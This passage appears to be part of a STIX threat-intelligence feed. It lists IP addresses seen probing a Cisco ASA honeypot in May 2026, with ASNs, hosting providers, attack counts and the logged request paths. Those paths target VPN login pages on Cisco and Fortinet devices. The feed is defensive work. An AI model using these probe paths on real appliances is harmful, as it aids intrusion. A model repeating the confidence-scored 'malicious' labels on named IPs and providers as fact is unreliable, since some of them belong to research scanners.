      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:20:10.000Z",
      "valid_until": "2026-06-04T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 61,
          "first_seen": "2026-05-03T01:28:20.163Z",
          "last_seen": "2026-05-29T21:34:58.420Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--c2076bd5-d24c-4f17-891b-afe8a81757c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:20:10.000Z",
      "valid_until": "2026-06-04T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T01:52:28.870Z",
          "last_seen": "2026-05-31T02:30:55.116Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e4e3ab0f-0eb3-46af-b797-36475bd0272f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.244.47.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:20:10.000Z",
      "valid_until": "2026-06-04T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-03T02:29:01.877Z",
          "last_seen": "2026-05-26T11:12:19.507Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ca707d35-9b30-4597-8bb4-18c15548ad68",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:20:10.000Z",
      "valid_until": "2026-06-04T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-03T02:28:37.753Z",
          "last_seen": "2026-05-11T11:10:10.727Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--6c91596d-f4ca-487e-9798-9835686dbeaf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:20:10.000Z",
      "valid_until": "2026-06-04T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-03T02:53:56.536Z",
          "last_seen": "2026-05-30T12:19:07.301Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2ba5453e-3ed5-42e1-afd9-ded348d76bc8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:20:10.000Z",
      "valid_until": "2026-06-04T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-03T02:41:35.240Z",
          "last_seen": "2026-05-27T18:01:11.297Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--73c8ba11-330b-4b33-a35b-803d7cf831c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:20:10.000Z",
      "valid_until": "2026-06-04T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-03T03:05:57.040Z",
          "last_seen": "2026-05-22T13:53:07.793Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6ad2aba0-1b39-4f97-9487-e6e6c11123f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T03:20:10.000Z",
      "valid_until": "2026-06-04T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 63,
          "first_seen": "2026-05-03T03:08:02.631Z",
          "last_seen": "2026-05-27T23:52:21.315Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--130a8321-ea95-4f52-9790-d6a431f93453",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:20:10.000Z",
      "valid_until": "2026-06-04T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-03T03:47:51.059Z",
          "last_seen": "2026-05-26T15:30:00.489Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--5fe7f09e-e425-4cff-9dc3-d74d8184f311",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:20:10.000Z",
      "valid_until": "2026-06-04T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-03T04:13:52.159Z",
          "last_seen": "2026-05-29T04:29:32.607Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--00d2037a-22eb-46ec-992a-75f943c7e487",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:20:10.000Z",
      "valid_until": "2026-06-04T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 72,
          "first_seen": "2026-05-03T04:05:53.035Z",
          "last_seen": "2026-05-31T04:14:47.426Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T05:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2c0b7597-fc6e-4011-a7c6-34bf8a473285",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:20:05.000Z",
      "valid_until": "2026-06-04T05:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 17,
          "first_seen": "2026-05-03T04:51:12.047Z",
          "last_seen": "2026-05-23T12:42:14.123Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T05:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--213ec726-fa41-43d0-b73f-f7bfea8d2b7a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:20:05.000Z",
      "valid_until": "2026-06-04T05:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-03T04:51:49.103Z",
          "last_seen": "2026-05-03T04:52:15.417Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T05:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--270a0c51-9c5e-402d-96d4-8491853a0c3d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T05:20:05.000Z",
      "valid_until": "2026-06-04T05:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 57,
          "first_seen": "2026-05-03T04:26:19.421Z",
          "last_seen": "2026-05-30T08:40:30.152Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2b3a62fa-1a07-439d-808b-1783fe1c2379",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-03T05:29:08.550Z",
          "last_seen": "2026-05-25T17:58:24.093Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c4dbac70-7a65-4bf4-ae21-b24558761942",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-03T05:41:38.151Z",
          "last_seen": "2026-05-04T13:37:04.222Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e7a2bda6-a06e-45d4-ae8e-ce12d2884115",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-03T06:07:13.436Z",
          "last_seen": "2026-05-17T05:30:55.099Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 13,
          "first_seen": "2026-05-03T05:25:19.629Z",
          "last_seen": "2026-05-03T05:31:46.338Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--1bbdabe4-6aa2-4749-b776-03b0e76db3ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T05:29:54.393Z",
          "last_seen": "2026-05-03T05:30:07.506Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c77c4143-7ff5-468d-9540-440d7aa8dafd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T06:20:10.000Z",
      "valid_until": "2026-06-04T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-03T05:27:30.149Z",
          "last_seen": "2026-05-03T05:29:49.011Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-03T06:20:10.000Z",
